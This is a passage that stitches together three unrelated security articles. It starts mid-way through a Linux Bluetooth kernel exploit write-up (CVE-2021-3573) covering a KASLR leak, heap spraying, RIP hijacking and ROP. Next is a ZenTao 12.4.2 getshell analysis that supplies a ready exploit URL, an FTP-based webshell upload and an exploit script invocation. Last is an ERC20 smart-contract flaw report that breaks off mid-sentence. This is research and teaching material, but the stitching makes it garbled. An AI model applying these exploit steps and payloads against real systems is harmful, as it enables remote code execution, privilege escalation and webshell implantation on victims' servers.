WARNING 或者碰到内核不会挂掉的页错误即可。
如下是一个可用的NPD造成的泄露。
[ 17.793908] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 17.794222] #PF: supervisor read access in kernel mode
[ 17.794405] #PF: error_code(0x0000) - not-present page
[ 17.794637] PGD 0 P4D 0
[ 17.794816] Oops: 0000 [#1] SMP NOPTI
[ 17.795043] CPU: 0 PID: 119 Comm: exploit Not tainted 5.12.1 #18
[ 17.795217] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
[ 17.795543] RIP: 0010:__queue_work+0xb2/0x3b0
[ 17.795728] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[ 17.796191] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[ 17.796329] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[ 17.796545] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[ 17.796769] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[ 17.796926] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[ 17.797109] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
[ 17.797328] FS: 00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[ 17.797541] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.797699] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0
[ 17.797939] Call Trace:
[ 17.798694] queue_work_on+0x1b/0x30
[ 17.798865] hci_sock_sendmsg+0x3bc/0x960
[ 17.798973] sock_sendmsg+0x56/0x60
[ 17.799081] sock_write_iter+0x92/0xf0
[ 17.799170] do_iter_readv_writev+0x145/0x1c0
[ 17.799303] do_iter_write+0x7b/0x1a0
[ 17.799386] vfs_writev+0x93/0x160
[ 17.799527] ? hci_sock_bind+0xbe/0x650
[ 17.799638] ? __sys_bind+0x8f/0xe0
[ 17.799725] ? do_writev+0x53/0x120
[ 17.799804] do_writev+0x53/0x120
[ 17.799882] do_syscall_64+0x33/0x40
[ 17.799969] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 17.800186] RIP: 0033:0x7fa9ee08d35d
[ 17.800405] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 ca 26 f9 ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 14 00 00 00 0f 05 <48> 3d 008
[ 17.800798] RSP: 002b:00007ffe3c870e00 EFLAGS: 00000293 ORIG_RAX: 0000000000000014
[ 17.800969] RAX: ffffffffffffffda RBX: 0000556f50a02f30 RCX: 00007fa9ee08d35d
[ 17.801118] RDX: 0000000000000003 RSI: 00007ffe3c870ea0 RDI: 0000000000000005
[ 17.801267] RBP: 00007ffe3c870ee0 R08: 0000000000000000 R09: 00007fa9edf87700
[ 17.801413] R10: 00007fa9edf879d0 R11: 0000000000000293 R12: 0000556f50a00fe0
[ 17.801560] R13: 00007ffe3c870ff0 R14: 0000000000000000 R15: 0000000000000000
[ 17.801769] Modules linked in:
[ 17.801928] CR2: 0000000000000000
[ 17.802233] ---[ end trace 2bbc14e693eb3d8f ]--- [ 17.802373] RIP: 0010:__queue_work+0xb2/0x3b0
[ 17.802492] Code: 8b 03 eb 2f 83 7c 24 04 40 0f 84 ab 01 00 00 49 63 c4 49 8b 9d 08 01 00 00 49 03 1c c6 4c 89 ff e8 73 fb ff ff 48 85 c0 74 d5 <48> 39 030
[ 17.802874] RSP: 0018:ffffac4d8021fc20 EFLAGS: 00000086
[ 17.803019] RAX: ffff9db3013af400 RBX: 0000000000000000 RCX: 0000000000000000
[ 17.803166] RDX: 0000000000000000 RSI: 0000000000000003 RDI: ffffffffbdc4cf10
[ 17.803313] RBP: 000000000000000d R08: ffff9db301400040 R09: ffff9db301400000
[ 17.803458] R10: 0000000000000000 R11: ffffffffbdc4cf18 R12: 0000000000000000
[ 17.803605] R13: ffff9db3021b4c00 R14: ffffffffbdb106a0 R15: ffff9db302260860
[ 17.803753] FS: 00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[ 17.803921] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.804042] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0
Wow，可以看到寄存器 RDI, R11 以及 R14 都放着非常可疑的内核地址。通过查看 `System.map` 我们发现寄存器 `R14`
正好存放着全局数据对象 `__per_cpu_offset` 的地址 （调试环境下还没有开启KASLR），那么我们可以通过它来计算 KASLR
的偏移，以绕过随机化保护。
$ cat System.map | grep bdb106a0
ffffffffbdb106a0 R __per_cpu_offset
### Exploitation
#### RIP hijacking
在KASLR绕过之后，下一个目标便是怎样去劫持控制流。为达此目标，一个UAF漏洞最简单的方式就是基于堆喷去覆盖目标对象上的函数指针，这样子，只要这些被覆写的函数指针被用到的时候，便可以完成控制流劫持了。嗯，思路简单直接，而且这件事情看起来相当容易：因为
`hdev` 对象是 `hci_dev` 结构体，并由 `kmalloc-8k`
的缓存进行维护。由于对象的大小已经如此之大，这使得其所在的缓存相当的稳定，我们很简单的就可以通过像 `setxattr` 这样的方法完成对该目标的占位。
此外，这个结构体的尾巴上实在是有很多可口的函数指针啊
struct hci_dev {
...
int (*open)(struct hci_dev *hdev);
int (*close)(struct hci_dev *hdev);
int (*flush)(struct hci_dev *hdev);
int (*setup)(struct hci_dev *hdev);
int (*shutdown)(struct hci_dev *hdev);
int (*send)(struct hci_dev *hdev, struct sk_buff *skb);
void (*notify)(struct hci_dev *hdev, unsigned int evt);
void (*hw_error)(struct hci_dev *hdev, u8 code);
int (*post_init)(struct hci_dev *hdev);
int (*set_diag)(struct hci_dev *hdev, bool enable);
int (*set_bdaddr)(struct hci_dev *hdev, const bdaddr_t *bdaddr);
void (*cmd_timeout)(struct hci_dev *hdev);
bool (*prevent_wake)(struct hci_dev *hdev);
};
好的，在假设我们能堆喷并完全覆盖整个 `hdev` 对象的前提下，我们能完成控制流劫持么？Emmm，事情好像没那么容易，因为 USING
线程的第一现场并没有调用到任何函数指针。
static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
...
hdev = hci_pi(sk)->hdev;
if (!hdev) {
err = -EBADFD;
goto done;
}
...
if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
err = -EFAULT;
goto drop;
}
hci_skb_pkt_type(skb) = skb->data[0];
skb_pull(skb, 1);
if (hci_pi(sk)->channel == HCI_CHANNEL_USER) {
...
} else if (hci_skb_pkt_type(skb) == HCI_COMMAND_PKT) {
...
if (ogf == 0x3f) {
skb_queue_tail(&hdev->raw_q, skb);
queue_work(hdev->workqueue, &hdev->tx_work); // {4}
} else {
/* Stand-alone HCI commands must be flagged as
* single-command requests.
*/
bt_cb(skb)->hci.req_flags |= HCI_REQ_START;
skb_queue_tail(&hdev->cmd_q, skb);
queue_work(hdev->workqueue, &hdev->cmd_work); // {5}
}
} else {
if (!capable(CAP_NET_RAW)) {
err = -EPERM;
goto drop;
}
skb_queue_tail(&hdev->raw_q, skb);
queue_work(hdev->workqueue, &hdev->tx_work); // {4}
}
...
}
整个 `hci_sock_sendmsg()` 函数做的事情就是去用户态拿到要发送的数据包，并根据数据包的类型去决定要将 `cmd_work` 还是
`tx_work` 放入工作队列。
诶？工作队列？虽然不是直接的函数调用，这也是和控制流相关的逻辑啊。可能老师傅们已经悟到，可以通过覆盖 `hdev->cmd_work` 或者
`hdev->tx_work` 来完成控制流劫持了。实际上，相关的 `work_struct` 中确实存在可口的函数指针。
typedef void (*work_func_t)(struct work_struct *work);
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
即成员 `work_func_t func`。由于我们可以覆盖完整的整个 `hdev` 对象，去把这几个 `work_struct`
改掉看起来也只是小菜一碟哈。
只不过，我又错了。
仅仅去覆盖掉 `work_struct` 是没有用的，因为 `queue_work()`
必须要求一个合法的工作队列来承载这个要被调度的工作。即我们需要一个合法的 `hdev->workqueue` 才能完成上述的攻击。
这有可能可以做到么？`workqueue`是`hdev`下的一个指针对象，如果我们能将其改写成一个已知的而且指向合法的工作队列的指针的话，事情就可以顺利进行。
虽然听起来合理，但这个方案难度是很大的。因为 `workqueue_struct` 并非是全局的数据结构，而是在 `hdev`
对象注册时候被动态创建的，位于内核的SLUB堆上。即使在前文我们已经完成了对于KASLR的泄露绕过，但我们并没有任意读能力，因此想泄露出一个合法工作队列所在的堆地址这一方案实在是黄粱美梦。
当然，安全研究者永不言败，如果没法覆盖一个新的工作队列指针上去，那我们就想办法用旧的吧！`hdev`对象在堆喷覆盖之前，其`workqueue`成员指向的是已经在`hci_unregister_dev()`中被释放掉的一个工作队列，换言之，其指向的是一个被释放了的，`kmalloc-512`的堆对象。我们可以再次使用堆喷的方式，想办法在该位置上喷射上去一个合法的工作队列。
针对`workqueue_struct`的喷洒已经是利用中的第二次堆喷了，有趣的是，这一次堆喷并不是要喷我们自己的数据，而是想喷上去一个合法的工作队列结构体。所以堆喷的路径并非大家知道的`msg`,
`setxattr`。我的做法就是想办法再多创建一些虚拟的蓝牙设备，毕竟每个设备初始化的时候都会创建`hdev`中的工作队列的。
>
> 值得一提，对于`workqueue_struct`的喷射比之前对于`hdev`的喷射要困难了许多，这是因为`kmalloc-512`的对象好像非常“热门”，总是有地方冒出来。在我的利用中，我通过调整设备初始化的顺序来增加喷射的成功率，细节可以见代码。
当这一次喷射成功时，`workqueue`指针就指向了一个合法的工作队列，而 `queue_work` 就可以成功将需要被调度的 `work_struct`
压入工作队列。不过呢，因为在 `hdev` 中 `workqueue` 在 `cmd_work` 和 `tx_work`
的前面，所以我们没法在这一步就去覆盖掉 `work_struct` 的 `fn` 成员。
不过这其实还好，因为将要被调度的 `hci_cmd_work` 或者 `hci_tx_work` 都会跑到一个会使用到 `hdev` 内函数指针的
`hci_send_frame` 代码内，我们可以在那个时候再搞定控制流。
只不过呢，我又又错了。
因为，这个利用思路非常不稳定：我们没法很好地预测工作队列调度目标 `work_struct` 的时间，这个时延可能非常短，以至于我根本没有机会让
`setxattr`
喷上我想要的数据而函数指针就已经被用过了。这些该死的函数指针偏偏放在结构体的末尾，我又偏偏需要`hdev`中保留的`workqueue`的值，如下逻辑。
====> overwrite the hdev
+--+-----------+-----+---------+----------+---------+-----+---------------+
| workqueue | ... | rx_work | cmd_work | tx_work | ... | code pointers |
+--+-----------+-----+---------+----------+---------+-----+---------------+
真是伤脑筋，难道就没有一个比较好的，可以预测的访问函数指针的位置么？
当然，或者说碰巧，是有的。正如老话所言，当上帝把门关上时，他一定会打开一扇窗。我在已有的调用路径上发现了又一个财宝，那就是延时工作:
`delayed_work`
static void hci_cmd_work(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev, cmd_work);
...
hdev->sent_cmd = skb_clone(skb, GFP_KERNEL);
if (hdev->sent_cmd) {
...
if (test_bit(HCI_RESET, &hdev->flags))
cancel_delayed_work(&hdev->cmd_timer);
else
schedule_delayed_work(&hdev->cmd_timer,
HCI_CMD_TIMEOUT); // {6}
} else {
skb_queue_head(&hdev->cmd_q, skb);
queue_work(hdev->workqueue, &hdev->cmd_work);
}
由`{6}`标记的代码会为发出去的命令注册一个延迟工作，以处理该命令的回复超时的情况。`delayed_work`的逻辑其实很`work_struct`非常想，只不过呢，我们有一段非常可预测的时间窗了
#define HCI_CMD_TIMEOUT msecs_to_jiffies(2000) /* 2 seconds */
2秒，看起来非常合适。现在，我们可以让堆喷的`setxattr`先一直卡着，直到接近2秒的时候再覆盖上我们的恶意数据，这样子就可以保证前文所计划的攻击都能完成，并且我们获得了一个劫持RIP的原语。
#### ROP
ROP的故事并没有控RIP的故事那样精彩，不过在做栈迁移的时候还是有一些小技巧的。
/* HCI command timer function */
static void hci_cmd_timeout(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev,
cmd_timer.work);
...
if (hdev->cmd_timeout)
hdev->cmd_timeout(hdev);
在正常的情况下，`cmd_timer`会唤醒函数`hci_cmd_timeout`去完成超时处理，我们看到函数内有基于`hdev->cmd_timeout`的函数指针使用。在该位置劫持控制流后，第一个跳向的gadget一定得想办法将栈迁移到可控的堆上去（最好就是我们覆盖的
`hdev` 成员）。在内核中找了几遍后，我们却没有找到非常合适的gadget。
比如说，我们经常使用的一个类型的gadget便是直接通过`mov`去写`rsp`的
For example, the popular one
0xffffffff81e0103f: mov rsp, rax; push r12; ret;
但是，此时我们劫持控制流的代码`hdev->cmd_timeout(hdev)`其底层实现是`__x86_indirect_thunk_rax`，也就是说，此时的rax寄存器是刚好指向要跳往的gadget的，一心不可二用，rax此时又怎么能指向堆地址呢？
> 还有一些经典的通过 xchg 去迁移栈的，只不过那往往是用于 SMAP 保护关闭的情况。我们的目标环境是保护全开的，这类 gadget 也不好用。
迁栈的问题确实困扰了我许久，感谢队内大佬[Nop](n0nop.com "Nop")帮助，我们最好找到了一个非常合适的迁栈方法。
首先，我们使用的gadget是
0xffffffff81060a41 <__efi64_thunk+81>: mov rsp,QWORD PTR [rsp+0x18]
0xffffffff81060a46 <__efi64_thunk+86>: pop rbx
0xffffffff81060a47 <__efi64_thunk+87>: pop rbp
0xffffffff81060a48 <__efi64_thunk+88>: ret
其会将栈上 rsp + 0x18 位置的值给 RSP 寄存器，那么，接着就是一个关键点，它既能满足控制流劫持，又可以刚好让 [rsp + 0x18]
指向合适的堆地址。
我最后选定的目标是 `hci_error_reset`，其内部又一个 `hdev->hw_error`
的调用。而且通过调试，我们发现调用点的栈满足所需，[rsp + 0x18]刚好是指向 `hdev` 内部的，Perfect！
static void hci_error_reset(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev, error_reset);
BT_DBG("%s", hdev->name);
if (hdev->hw_error)
hdev->hw_error(hdev, hdev->hw_error_code);
else
bt_dev_err(hdev, "hardware error 0x%2.2x", hdev->hw_error_code);
...
}
剩下的工作就是大家都熟悉的ROP了，出于只是展示的需要，我实现的ROP其仅仅完成的是对于`modprobe_path`的修改。代码以及demo开源在github上
<https://github.com/f0rm2l1n/ExP1oiT5/tree/main/CVE-2021-3573>
感兴趣的读者可以试着写一下更完善的ROP
## 修复的故事
如果是你，你会怎样修复在这样一个条件竞争的漏洞呢？
当我提交该漏洞时候，我向内核社区提供了一份如下的补丁作为参考。
--- net/bluetooth/hci_sock.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c
index 251b9128f530..eed0dd066e12 100644
--- a/net/bluetooth/hci_sock.c
+++ b/net/bluetooth/hci_sock.c
@@ -762,7 +762,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
/* Detach sockets from device */
read_lock(&hci_sk_list.lock);
sk_for_each(sk, &hci_sk_list.head) {
- bh_lock_sock_nested(sk);
+ lock_sock(sk);
if (hci_pi(sk)->hdev == hdev) {
hci_pi(sk)->hdev = NULL;
sk->sk_err = EPIPE;
@@ -771,7 +771,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
hci_dev_put(hdev);
}
- bh_unlock_sock(sk);
+ release_sock(sk);
}
read_unlock(&hci_sk_list.lock);
}
-- 2.30.2
从漏洞发现者的角度来看，这个漏洞的根本成因在于有一个特殊的 FREEING 线程，其可能可以在别的 USING
线程（如`hci_sock_bound_ioctl` and `hci_sock_sendmsg`）还在使用 `hdev` 对象时候便将该目标给释放掉。
所以呢，我的补丁通过替换锁来完成对于该 FREEING 线程的堵塞。在打上这个补丁之后，KASAN并不会再有任何的报告，感觉是没啥问题的。
悲哀的是，我又又又错了。
因为我本人并不是非常清楚内核中的同步机制，这里对于锁的替换仅仅是参考相关的 USING
线程，以直觉方式完成的。我并没有去仔细进行锁的分析，以至于我提供的补丁是有可能造成死锁的（我真的不是故意的呜呜呜）
**更糟糕的是，内核并没有经过任何犹豫便打上了我提供的补丁。**
灾难大概在补丁进入内核主线的一周之后开始初见端倪：我开始收到各种各样的邮件来控诉这个荒唐的补丁。其中最早来的是谷歌的 [Anand K.
Mistry](https://github.com/akmistry)，他向我展示了在开启 `CONFIG_LOCK_DEBUG`
后生成的错误报告以及死锁的可能性分析。在他之后，也有越来越多的内核开发者注意到了这条有问题的补丁。其中很大的促进因素是谷歌的模糊测试机器人 syzbot
> Also, this regression is currently 7th top crashers for syzbot
这个机器人将触发这个锁错误的测试报告不断发送给蓝牙的维护者（因为实在太好触发了，设备一旦卸载这个错误就会被捕获）。
我实在是羞愧的想挖个洞把自己给埋了。可能你会很好奇，再提交一份正确的修复不就好了么？但悲哀的事实是，这个条件竞争并不好修复，社区中也开展了充足的讨论，读者可以阅读下面的链接去了解该情况。
<https://lore.kernel.org/linux-bluetooth/[email protected]/>
<https://www.spinics.net/lists/linux-bluetooth/msg92649.html>
[https://marc.info/?l=linux-bluetooth&m=162441276805113&w=2](https://marc.info/?l=linux-bluetooth&m=162441276805113&w=2) [https://marc.info/?l=linux-bluetooth&m=162653675414330&w=2](https://marc.info/?l=linux-bluetooth&m=162653675414330&w=2)
让人欣慰的是，内核大佬 Tetsuo Handa 与蓝牙维护者 [Luiz](https://github.com/Vudentz)
对这个问题是十分上心的，我相信一份正确的补丁会很快成埃落定的。
**== 7月28日更新 ==**
Yeah，一份看起来不错的补丁已经发布在了`bluetooth-next`分支上：[戳](https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth-next.git/commit/?id=73333364afebb5e45807139bc79e6a6574c1874b)
这次连着几天的讨论甚至让我接触到了[Linus](https://en.wikipedia.org/wiki/Linus_Torvalds)，心情实在难以平复
:)
## 结论
这是我的首个Linux内核0 day利用，说真的，这个过程中我真的学到了很多：写漏洞利用真的就是一门艺术。
当然，需要承认的是这个漏洞虽然可以稳定触发，但品相也还是有缺点的：其要求 `CAP_NET_ADMIN` 权限，所以在野场景下的 fullchain
利用要求攻击者先攻破具有该权限的 daemon 才行。
这是挖掘本地蓝牙栈漏洞的一个固有缺点，因为我们需要在用户态模拟一个假的蓝牙控制器，而这件事情显然不会是零权限的。更好品质的漏洞自然应该像
[BleedingTooth](https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth) 那样在不要求任何点击的情况下，在 **远程** 完成代码执行。
我相信这种理想类型的漏洞会是我们的终极目标。
* * * | 社区文章 |
# ZenTaoPMS v12.4.2后台GETSHELL分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
本文将对禅道12.4.2后台getshell漏洞进行分析，距离该版本上线已经过去2个多月，本漏洞会对12.4.2之前的版本产生影响，目前已经在新版本中修复。在复现该漏洞的时候我也读过一些网上对于该漏洞复现的文章，但是通过反复测试我发现网上所述的方法在我的环境上并不能成功复现，不知是否有情况相同的小伙伴，所以我对于漏洞点进行了审计，并成功复现，下面我们一起来分析一下。
## 代码分析
首先该漏洞需要后台管理员权限，所以我们首先登陆至后台。通过下图我们可以看到登陆后的界面URL为：
`http://192.168.52.141/zentaopms/www/index.php?m=my&f=index`
我们看到后台界面分别对m以及f参数进行传参，那么不难猜出大概就是调用my类下的index方法，我们看一下该段的代码。
在/module/my/lang/zh-cn.php下可以看到存在指向index的方法，这验证了我们上面猜测是正确的，那么我们下面来看一下文件下载漏洞点的代码部分。
漏洞是发生在client类下的donwload函数中，我们定位函数至/module/client/control.php中找到该方法，本段代码大致意思就是会接收三个参数version、os、link，然后去调用
**downloadZipPackage**
方法进行文件下载操作，并对一些下载失败事件进行不同回显，比如downloadFail，saveClientError在上图的方法列表我们可以看到他们调用的方法的具体含义，这里就不再赘述，最后如果没有失败事件时间就会返回成功。在downloadZipPackage并不需要os方法，所以这在我们后期利用时也不需要传入该参数。
然后继续跟进downloadZipPackage方法中，注意重点来了，漏洞真正的产生原因就在该方法中。
我们可以看到这段代码首先对传入的link参数进行了base64解码操作，这里的link参数就是我们shell的远程地址，然后下面会通过一个正则表达式进行判断，link地址是否以
http:// 或者 https:// 开头，如果存在则return返回false并退出方法，否则调用方法
**parent::downloadZipPackage**
，这里其实忽略了FTP这一文件下载方法，也就是说我们可以通过FTP服务代替进行文件下载操作从而绕过正则的限制。
downloadZipPackage方法就没有什么问题了，就是一段文件下载函数，会通过传入的version值创建并命名在data下创建的文件夹并将下载的文件保存在其中。
## 漏洞利用
那么这其实就是很清晰了，通过文章开始介绍的m和f参数的调用，我们可以对client类以及download参数进行调用，并传入download参数必要的version以及link参数就可以完成漏洞的利用了。这里的link地址是base64加密后的ftp连接地址，,比如:
**ftp://192.168.52.1/shell.php**
大家可以直接使用python的pyftpdlib模块开启FTP服务比较方便，命令:
**python -m pyftpdlib -p 21 -d .** 默认开启匿名用户，不需要输入用户名密码。
构建exp如下:
`http://ip/zentaopms/www/index.php?m=client&f=download&version=1&link=ZnRwOi8vMTkyLjE2OC41Mi4xL3NoZWxsLnBocA==`
可以看到回显弹窗保存成功，然后再到靶机中查看发现下载成功，保存路径至
`/zentaopms/www/data/client/1/shell.php`
连接木马，成功利用！
## 漏洞利用EXP
所以本文最突出的一个部分来了，就是我们有EXP啊。通过两个夜晚的努力，终于完成了，其中也碰到了不少坑，但是好在都解决了。下面由我来介绍一下他的使用方法吧。
构建命令:`python "Zentao RCE EXP.py" -H http://192.168.52.141 -U admin -P Admin888
-f 192.168.52.1`
其中-H指定目标主机，-U指定后台用户名，-P指定密码，-f指定VMnet8网卡的IP，这样虚拟机才能正常访问到物理机的FTP服务，当然如果测试环境也在虚拟机中则可以修改源码自动获取IP即可，这里是以我的环境为准所以没有这么做，也因为我觉得麻烦一点来换取兼容性更好一点是不亏的，所以小伙伴可以自行修改使用，我想这也不难，源码中也标注了修改位置。目前已经上传至github，有兴趣的小伙伴可以自行下载测试。
**EXP github地址:**`https://github.com/wikiZ/Zentao-RCE`
## 后记
本文到这里就以接近尾声了，因为最近搭建靶场，也有搭建这个漏洞，所以就想要写一下他的分析与利用这样的一篇文章，随着年龄的增长也越来越喜欢分享知识，以后也会坚持分享，这个漏洞公开并不久，当然我也并不是第一时间就进行分析，本文更加偏向教授代码审计的技巧而不仅仅只是复现，所以也希望能够对大家有所帮助，在测试中有问题的小伙伴可以私信我。最近想要找一份实习的工作(其实我是看到腾讯在招实习生被香到了)，所以最近相当投入的在沉淀学习哈哈哈。
**最后祝大家都能心想事成，美梦成真！** | 社区文章 |
Author：Knownsec 404 Blockchain Security Research Team
Chinese version：<https://paper.seebug.org/663/>
#### 1\. Brief Introduction
The "Unemitted Transfer Event Issue", "Unemitted Approval Event Issue", "Fake
Recharge" Vulnerability and "Writing Error of Constructed Function" are
uniformly classified as "Ethereum smart contract specification problem" in
"Knownsec Ethereum Contract Audit Checklist" which sorted out by the Knownsec
404 Blockchain Security Research Team.
"HaoTian" is an automation platform for monitoring, scanning, analysis and
auditing blockchain smart contract. It is independently developed by the
Knownsec 404 Blockchain Security Research Team. We use this platform to scan
and analyze the smart contract code publicly posted across the web for the
above-mentioned "Ethereum Smart Contract Specification".
#### 2\. Vulnerability Details
ERC20 is a standard of the token for the smart contract on the Ethereum
blockchain. ERC20 defines a general rule that must be enforced by Ethereum.
Exchanges can be integrated to implement token trading if the token issued at
Ethereum reaches the ERC20 standard.
ERC20 stipulates that the transfer function must trigger a transfer event and
return a Boolean value. It should also throw an error instead of returning the
error simply when making a balance judgment. And the approve function must
trigger an approve event.
##### 1) Unemitted Transfer Event
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
return true;
}
The above code did not trigger the Transfer event when the transaction
occurred. Failure to comply with the ERC20 standard makes it difficult for
developers to monitor contract transactions.
##### 2) Untriggered Approval Event
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
The above code did not trigger the Approve event when the transaction
occurred. Failure to comply with the ERC20 standard makes it difficult for
developers to monitor contract transactions.
##### 3) Fake Recharge Vulnerability
function transfer(address _to, uint256 _amount) returns (bool success) {
initialize(msg.sender);
if (balances[msg.sender] >= _amount
&& _amount > 0) {
initialize(_to);
if (balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
} else {
return false;
}
}
The above code uses the if statement to judge the balance. ERC20 stipulates
the contract should throw an error to roll back the transaction, rather than
returning the error simply when the balance is insufficient.
In this case, the transaction will still succeed even if there is no real
transaction, which may affect the judgment of the trading platform and lead to
false recharge.
On July 9, 2018, SlowMist Security Team issued a warning on the vulnerability
of fake recharge.
On July 9, 2018, the Knownsec 404 Blockchain Security Research Team followed
with the vulnerability and issued a vulnerability warning for the
vulnerability. If the case of the constructor name doesn't match the contract,
this function will still be treated as a normal function and can be called by
any user.
##### 4) Writing Error of Constructed Function
The compiler required that the constructor name should be consistent with the
contract name before the Solidity version 0.4.22 released.
Improper use of constructors is introduced in Solidity 0.4.22. The constructor
adds a function definition incorrectly, which causes the constructor can be
called by any user and lead to more serious harm, such as the Owner's
permission being stolen.
* Case Error
contract own(){
function Own() {
owner = msg.sender;
}
}
Capitalized constructor name incorrectly causes the constructor name doesn't
match the contract name. In this case, the function is set as a normal public
function. Anyone can modify themselves to the owner of the contract by this
function. That's will lead to other serious results.
On June 22, 2018, the MorphToken contract token announced the update of an
smart new contract, which fixed the constructor problem on case errors.
On June 22, 2018, the Knownsec 404 Blockchain Security Research Team followed
with the emergency and released the "Ethereum smart contract constructor
coding error leading to an illegal contract ownership transfer report."
* Coding Error
function constructor() public {
owner = msg.sender;
}
Using function as a decorate word for constructor function is incorrectly in
the above code. In this case, the function is set as a normal public function.
Anyone can modify themselves to the owner of the contract by this function.
That's will lead to other serious consequences.
On July 14, 2018, Link Safe Technology released details in their Official
Account about the constructor function's writing errors.
On July 15, 2018, the Knownsec 404 Blockchain Security Research Team followed
with the emergency and released the "Ethereum smart contract constructor
writing error leading to an illegal contract ownership transfer report."
#### 3\. The Scope within Vulnerability Impact
The smart contract audit function of the Haotian platform can scan for this
type of the problem accurately.
We scanned a total of 39,548 contract codes for the entire network based on
the Haotian platform's smart contract auditing rules. It included a total of
14,978 contracts involving such issues.
##### 1) Unemitted Transfer Event
As of August 10, 2018, we found 4604 contract codes that didn't reach the
standard of ERC20 and didn't trigger the Transfer event. 10 contracts with the
highest transaction volume are as follows:
##### 2) Unemitted Approval Event
As of August 10, 2018, we found 4604 contract codes that didn't reach the
standard of ERC20 and didn't trigger the Approval event. 10 contracts with the
highest transaction volume are as follows:
##### 3) Fake Recharge Vulnerability
On July 9, 2018, we scanned contract codes for the entire network when the
Knownsec 404 Blockchain Security Research Team followed and responded urgently
with the Fake Recharge Vulnerability. At that time, over 3141 contract codes
with fake recharge issue we were found. The 10 of them with the highest
transaction volume are as follows:
As of August 10, 2018, over 5027 contract codes with fake recharge issue we
were found. The 10 of them with the highest transaction volume are as follows:
##### 4) Writing Error of Constructed Function
* Case Error
On June 22, 2018, the Knownsec 404 Blockchain Security Research Team followed
and responded urgently with the Fake Recharge Vulnerability, there are about
16 contracts with this problem in the whole network.
As of August 10, 2018, 90 contract codes with case error on the constructor we
were found. The 10 of them with the highest transaction volume are as follows:
* Coding Error
As of August 10, 2018, 24 contract codes with writing error on the constructor
we found, only one more contract than the emergency response to this
vulnerability on July 14, 2018. 10 contracts with the highest transaction
volume are as follows:
#### 4\. Repair
##### 1) Transfer function trigger Transfer event
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
##### 2) Approve function trigger Approve event
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
##### 3) Transfer balance verification should use require to throw an error
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
##### 4) The constructor should be consistent with the contract name before
the 0.4.22 version
contract ownable {
function ownable() public {
owner = msg.sender;
}
##### 5) The constructor should not be decorated with function after the
0.4.22 version.
constructor() public {
owner = msg.sender;
}
#### 5\. Reflection
These questions are a type of problem that I often find in reviewing
historical vulnerabilities. They are caused by developers not complying with
the ERC20 standard. Because of these out-standard problems, many problems in
the maintenance of contract tokens will appear later. Although these will not
cause the emergence of contract vulnerabilities directly.
If not trigger the corresponding events on the transfer and approve function,
developers need more complicated ways to monitor contract transaction. There
are not even enough logs to provide a rollback once a large-scale stolen time
occurs.
The error that is not thrown at the time of transfer brings the fake recharge
vulnerability to occur. The platform benefits will be compromised if it's
judged by the transaction status when checks the transaction result.
If the developer does not pay attention to different versions of the compiler
standard when constructing the function, it may cause contract ownership can
be stolen easily, and further bring more serious problems such as the steal of
currency.
It's easy to find that there is a large number of developers have not noticed
these problems. When we scan and monitor the open contract code of the whole
network even low-level errors such as constructor writing errors are still
happening after the vulnerability warning. Considering that most of the
private contract code, there may still many developers develop without
complying on standards and there are many potential issues to consider.
In order to avoid unnecessary hassles and security issues, we recommend that
